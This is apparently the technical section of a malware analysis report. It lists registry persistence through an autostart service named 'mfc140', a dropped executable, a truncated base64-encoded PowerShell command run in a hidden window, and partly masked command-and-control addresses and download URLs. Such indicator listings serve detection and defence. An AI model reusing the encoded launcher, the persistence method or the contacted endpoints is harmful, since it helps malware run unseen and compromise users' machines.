Technical Information
- [<HKLM>\System\CurrentControlSet\Services\EFS] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mfc140] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mfc140] 'ImagePath' = '"%WINDIR%\SysWOW64\rdprefdrvapi\mfc140.exe"'
- 'mfc140' "%WINDIR%\SysWOW64\rdprefdrvapi\mfc140.exe"
- 'mfc140' %WINDIR%\SysWOW64\rdprefdrvapi\mfc140.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IAAgAFMARQBUAC0ASQB0AEUAbQAgACgAIgBWACIAKwAiAEEAUgBJAEEAYgBMAEUAOgBYACIAKwAiADEAQQAiACsAIgAwAHoATgAiACkAIAAoAFsAdAB5AHAAZQBdACgAIgB7ADIAfQB7ADMAfQB7ADEAfQB7ADAAfQAiACAALQ...
- %HOMEPATH%\qvwis2h\mxk437n\y6ecz5.exe
- %WINDIR%\syswow64\rdprefdrvapi\mfc140.exe
- from %HOMEPATH%\qvwis2h\mxk437n\y6ecz5.exe to %WINDIR%\syswow64\rdprefdrvapi\mfc140.exe
- '88.##3.35.32':80
- '10#.#70.146.252':8080
- http://ta###hizhi.com/wp-admin/pcFD/
- http://10#.###.146.252:8080/15OV4K2LYyWqS/4dmAEkGK/GWTJ/ZpfzvcxJIYhL1z/yI0HfEnxQX3aAbu2k86/fxt1fKPhpd8/ via 10#.#70.146.252
- DNS ASK cu####lulut.info
- DNS ASK ta###hizhi.com
- '%HOMEPATH%\qvwis2h\mxk437n\y6ecz5.exe'
- '%WINDIR%\syswow64\rdprefdrvapi\mfc140.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IAAgAFMARQBUAC0ASQB0AEUAbQAgACgAIgBWACIAKwAiAEEAUgBJAEEAYgBMAEUAOgBYACIAKwAiADEAQQAiACsAIgAwAHoATgAiACkAIAAoAFsAdAB5AHAAZQBdACgAIgB7ADIAfQB7ADMAfQB7ADEAfQB7ADAAfQAiACAALQ...' (with hidden window)